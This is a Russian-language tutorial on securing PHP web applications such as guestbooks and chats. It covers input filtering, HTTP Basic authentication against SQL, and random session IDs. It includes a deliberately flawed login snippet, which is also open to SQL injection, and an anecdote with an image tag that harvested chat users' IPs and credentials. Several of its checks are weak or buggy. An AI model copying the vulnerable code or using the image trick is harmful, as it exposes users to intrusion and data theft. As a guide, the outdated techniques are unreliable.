Приемы безопасного программирования на PHP
Автор: Илья Басалаев a.k.a. Scarab
Данная статья не претендует на
роль всеобъемлющего руководства на тему "как сделать так, чтоб
меня никто не поломал". Так не бывает. Единственная цель этой
статьи - показать некоторые используемые мной приемы для
защиты веб-приложений типа WWW-чатов, гостевых книг,
веб-форумов и других приложений подобного рода.
Первой заповедью веб-программиста, желающего написать
более-менее защищенное веб-приложение, должно стать "Никогда
не верь данным, присылаемым тебе пользователем". Пользователи
- это по определению такие злобные хакеры, которые только и
ищут момента, как бы напихать в формы ввода всякую дрянь типа
PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и
тому подобных ужасных вещей. Поэтому первое, что необходимо
сделать - это жесточайшим образом отфильтровать все данные,
присланные пользователем.
Допустим, у нас в гостевой книге
существует 3 формы ввода: имя пользователя, его e-mail и само
по себе тело сообщения. Прежде всего, ограничим количество
данных, передаваемых из форм ввода чем-нибудь вроде:
<input type=text name=username maxlength=20>
На роль настоящей защиты, конечно, это претендовать не
может - единственное назначение этого элемента - ограничить
пользователя от случайного ввода имени длиннее 20-ти символов.
А для того, чтобы у пользователя не возникло искушения скачать
документ с формами ввода и подправить параметр maxlength,
установим где-нибудь в самом начале скрипта, обрабатывающего
данные, проверку переменной окружения web-сервера
HTTP-REFERER:
<?php
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker?
he-he...\n";
exit;
}
?>
Теперь, если данные переданы не из форм документа,
находящегося на сервере www.myserver.com, хацкеру будет выдано
деморализующее сообщение. На самом деле, и это тоже не может
служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО
переданы из нашего документа. В конце концов, переменная
HTTP_REFERER формируется браузером, и никто не может помешать
хакеру подправить код браузера, или просто зайти телнетом на
80-ый порт и сформировать свой запрос. Так что подобная защита
годится только от Ну Совсем Необразованных хакеров. Впрочем,
по моим наблюдениям, около 80% процентов злоумышленников на
этом этапе останавливаются и дальше не лезут - то ли IQ не
позволяет, то ли просто лень. Лично я попросту вынес этот
фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда
это возможно. Времени на обращение к переменной уходит немного
- а береженого Бог бережет.
Следующим этапом станет пресловутая жесткая фильтрация
переданных данных. Прежде всего, не будем доверять переменной
maxlength в формах ввода и ручками порежем строку:
$username = substr($username,0,20);
Не
дадим пользователю использовать пустое поле имени - просто
так, чтобы не давать писать анонимные сообщения:
if (empty($username)) {
echo "invalid username";
exit;
}
Запретим пользователю использовать в своем имени любые
символы, кроме букв русского и латинского алфавита, знака "_"
(подчерк), пробела и цифр:
if (preg_match("/[^(\w)|(\x7F-\xFF)|(\s)]/",$username)) {
echo "invalid username";
exit;
}
Я предпочитаю везде, где нужно что-нибудь более сложное,
чем проверить наличие паттерна в строке или поменять один
паттерн на другой, использовать Перл-совместимые регулярные
выражения (Perl-compatible Regular Expressions). То же самое
можно делать и используя стандартные PHP-шные ereg()
и eregi()
. Я не буду
приводить здесь эти примеры - это достаточно подробно описано
в мануале.
Для поля ввода адреса e-mail добавим в список разрешенных
символов знаки "@" и ".", иначе пользователь не сможет
корректно ввести адрес. Зато уберем русские буквы и пробел:
if (preg_match("/[^(\w)|(\@)|(\.)]/",$usermail)) {
echo "invalid mail";
exit;
}
Поле ввода текста мы не будем подвергать таким жестким
репрессиям - перебирать все знаки препинания, которые можно
использовать, попросту лень, поэтому ограничимся
использованием функций nl2br()
и htmlspecialchars()
- это не даст врагу понатыкать
в текст сообщения html-тегов. Некоторые разработчики,
наверное, скажут: "а мы все-таки очень хотим, чтобы
пользователи _могли_ вставлять теги". Если сильно неймется -
можно сделать некие тегозаменители, типа "текст, окруженный
звездочками, будет высвечен bold'ом.". Но никогда не
следует разрешать пользователям использование тегов,
подразумевающих подключение внешних ресурсов - от тривиального <img>
до супернавороченного <bgsound>
.
Как-то раз меня попросили потестировать html-чат. Первым же
замеченным мной багом было именно разрешение вставки картинок.
Учитывая еще пару особенностей строения чата, через несколько
минут у меня был файл, в котором аккуратно были перечислены
IP-адреса, имена и пароли всех присутствовавших в этот момент
на чате пользователей. Как? Да очень просто - чату был послан
тег <img
src=http://myserver.com/myscript.pl>
, в результате
чего браузеры всех пользователей, присутствовавших в тот
момент на чате, вызвали скрипт myscript.pl с хоста
myserver.com. (там не было людей, сидевших под lynx'ом :-) ).
А скрипт, перед тем как выдать location на картинку, свалил
мне в лог-файл половину переменных окружения - в частности
QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя.
С вышеупомянутым результатом.
Посему мое мнение - да,
разрешить вставку html-тегов в чатах, форумах и гостевых
книгах - это красиво, но игра не стоит свеч - вряд ли
пользователи пойдут к Вам на книгу или в чат, зная, что их IP
может стать известным первому встречному хакеру. Да и не
только IP - возможности javascript'a я перечислять не буду :-)
Для примитивной гостевой книги перечисленных средств
хватит, чтобы сделать ее более-менее сложной для взлома.
Однако для удобства, книги обычно содержат некоторые
возможности для модерирования - как минимум, возможность
удаления сообщений. Разрешенную, естественно, узкому (или не
очень) кругу лиц. Посмотрим, что можно сделать здесь.
Допустим, вся система модерирования книги также состоит из
двух частей - страницы со списком сообщений, где можно
отмечать подлежащие удалению сообщения, и непосредственно
скрипта, удаляющего сообщения. Назовем их соответственно
admin1.php и admin2.php.
Простейший и надежнейший способ аутентикации пользователя -
размещение скриптов в директории, защищенной файлом .htaccess.
Для преодоления такой защиты нужно уже не приложение ломать, а
web-сервер. Что несколько сложнее и уж, во всяком случае, не
укладывается в рамки темы этой статьи. Однако не всегда этот
способ пригоден к употреблению - иногда бывает надо проводить
авторизацию средствами самого приложения.
Первый, самый простой способ - авторизация средствами HTTP
- через код 401. При виде такого кода возврата, любой
нормальный браузер высветит окошко авторизации и попросит
ввести логин и пароль. А в дальнейшем браузер при получении
кода 401 будет пытаться подсунуть web-серверу текущие для
данного realm'а логин и пароль, и только в случае неудачи
потребует повторной авторизации. Пример кода для вывода
требования на такую авторизацию есть во всех хрестоматиях и
мануалах:
<?php
if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm=\"My
Realm\"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}
Разместим этот кусочек кода в начале скрипта admin1.php.
После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER
и PHP_AUTH_PW
, в
которых соответственно будут лежать имя и пароль, введенные
пользователем. Их можно, к примеру, проверить по
SQL-базе:
*** Внимание!!!***
В
приведенном ниже фрагменте кода сознательно допущена серьезная
ошибка в безопасности. Попытайтесь найти ее
самостоятельно.
<?php
$sql_statement="select password from peoples where
name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select
password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth
Required");
Header("WWW-authenticate: basic realm=\"My
Realm\"");
exit;
}
Упомянутая ошибка, между прочим,
очень распространена среди начинающих и невнимательных
программистов. Когда-то я сам поймался на эту удочку - по
счастью, особого вреда это не принесло, не считая оставленных
хакером в новостной ленте нескольких нецензурных
фраз.
Итак, раскрываю секрет: допустим, хакер вводит
заведомо несуществующее имя пользователя и пустой пароль. При
этом в результате выборки из базы переменная $rpassword
принимает пустое значение. А алгоритм
шифрования паролей при помощи функции СУБД MySQL Password()
, так же, впрочем, как и стандартный
алгоритм Unix, при попытке шифрования пустого пароля
возвращает пустое значение. В итоге - $password ==
$rpassword
, условие выполняется и взломщик получает
доступ к защищенной части приложения. Лечится это либо
запрещением пустых паролей, либо, на мой взгляд, более
правильный путь - вставкой следующего фрагмента кода:
<?php
if (mysql_numrows($result) != 1)
{
Header("HTTP/1.0 401 Auth
Required");
Header("WWW-authenticate: basic realm=\"My
Realm\"");
exit;
}
То есть - проверкой наличия
одного и только одного пользователя в базе. Ни больше, ни
меньше.
Точно такую же проверку на авторизацию стоит
встроить и в скрипт admin2.php. По идее, если пользователь
хороший человек - то он приходит к admin2.php через
admin1.php, а значит, уже является авторизованным и никаких
повторных вопросов ему не будет - браузер втихомолку передаст
пароль. Если же нет - ну, тогда и поругаться не грех. Скажем,
вывести ту же фразу "hacker? he-he...".
К сожалению, не всегда удается воспользоваться алгоритмом
авторизации через код 401 и приходится выполнять ее только
средствами приложения. В общем случае модель такой авторизации
будет следующей:
- Пользователь один раз авторизуется при помощи веб-формы
и скрипта, который проверяет правильность имени и пароля.
- Остальные скрипты защищенной части приложения
каким-нибудь образом проверяют факт авторизованности
пользователя.
Такая модель называется сессионной -
после прохождения авторизации открывается так называемая
"сессия", в течение которой пользователь имеет доступ к
защищенной части системы. Сессия закрылась - доступ
закрывается. На этом принципе, в частности, строится
большинство www-чатов: пользователь может получить доступ к
чату только после того, как пройдет процедуру входа. Основная
сложность данной схемы заключается в том, что все скрипты
защищенной части приложения каким-то образом должны знать о
том, что пользователь, посылающий данные, успешно
авторизовался.
Рассмотрим несколько вариантов, как это
можно сделать:
- После авторизации все скрипты защищенной части
вызываются с неким флажком вида adminmode=1. (Не надо
смеяться - я сам такое видел).
Ясно, что любой, кому
известен флажок adminmode, может сам сформировать URL и
зайти в режиме администрирования. Кроме того - нет
возможности отличить одного пользователя от другого.
- Скрипт авторизации может каким-нибудь образом передать
имя пользователя другим скриптам. Распространено во многих
www-чатах - для того, чтобы отличить, где чье сообщение
идет, рядом с формой типа text для ввода сообщения,
пристраивается форма типа hidden, где указывается имя
пользователя. Тоже ненадежно, потому что хакер может скачать
документ с формой к себе на диск и поменять значение формы
hidden. Некоторую пользу здесь может принести вышеупомянутая
проверка HTTP_REFERER - но, как я уже говорил, никаких
гарантий она не дает.
- Определение пользователя по IP-адресу. В этом случае,
после прохождения авторизации, где-нибудь в локальной базе
данных (sql, dbm, да хоть в txt-файле) сохраняется текущий
IP пользователя, а все скрипты защищенной части смотрят в
переменную REMOTE_ADDR и проверяют, есть ли такой адрес в
базе. Если есть - значит, авторизация была, если нет -
"hacker? he-he..." :-)
Это более надежный способ - не
пройти авторизацию и получить доступ удастся лишь в том
случае, если с того же IP сидит другой пользователь, успешно
авторизовавшийся. Однако, учитывая распространенность
прокси-серверов и IP-Masquerad'инга - это вполне реально.
- Единственным, известным мне простым и достаточно
надежным способом верификации личности пользователя является
авторизация при помощи random uid. Рассмотрим ее более
подробно.
После авторизации пользователя скрипт,
проведший авторизацию, генерирует достаточно длинное случайное
число:
mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);
Это число он:
а) заносит в локальный список
авторизовавшихся пользователей;
б) Выдает пользователю.
Пользователь при каждом запросе, помимо другой информации
(сообщение в чате, или список сообщений в гостевой книге),
отправляет серверу свой uid. При этом в документе с формами
ввода будет присутствовать, наряду с другими формами, тег
вида:
<input type=hidden name=uid value=1234567890>
Форма uid невидима для пользователя, но она передается
скрипту защищенной части приложения. Тот сличает переданный
ему uid с uid'ом, хранящимся в локальной базе и либо выполняет
свою функцию, либо... "hacker? he-he...".
Единственное, что необходимо сделать при такой организации
- периодически чистить локальный список uid'ов и/или сделать
для пользователя кнопку "выход", при нажатии на которую
локальный uid пользователя сотрется из базы на сервере -
сессия закрыта.
Некоторые программисты используют в качестве uid не
"одноразовое" динамически генерирующееся число, а пароль
пользователя. Это допустимо, но это является "дурным тоном",
поскольку пароль пользователя обычно не меняется от сессии к
сессии, а значит - хакер сможет сам открывать сессии. Та же
самая модель может быть использована везде, где требуется
идентификация пользователя - в чатах, веб-конференциях,
электронных магазинах.
В заключение стоит упомянуть и о такой полезной вещи, как
ведение логов. Если в каждую из описанных процедур встроить
возможность занесения события в лог-файл с указанием IP-адреса
потенциального злоумышленника - то в случае реальной атаки
вычислить хакера будет гораздо проще, поскольку хакеры обычно
пробуют последовательно усложняющиеся атаки. Для определения
IP-адреса желательно использовать не только стандартную
переменную REMOTE_ADDR, но и менее известную
HTTP_X_FORWARDED_FOR, которая позволяет определить IP
пользователя, находящегося за прокси-сервером. Естественно -
если прокси это позволяет.
При ведении лог-файлов,
необходимо помнить, что доступ к ним должен быть только у Вас.
Лучше всего, если они будут расположены за пределами дерева
каталогов, доступного через WWW. Если нет такой возможности -
создайте отдельный каталог для лог-файлов и закройте туда
доступ при помощи .htaccess (Deny from all).
Я буду очень признателен, если кто-нибудь из программистов
поделится своими не описанными здесь методами обеспечения
безопасности при разработке приложений для Web.
P.S. Выражаю глубокую
благодарность Козину Максиму
за рецензирование данной статьи и ряд весьма ценных
дополнений.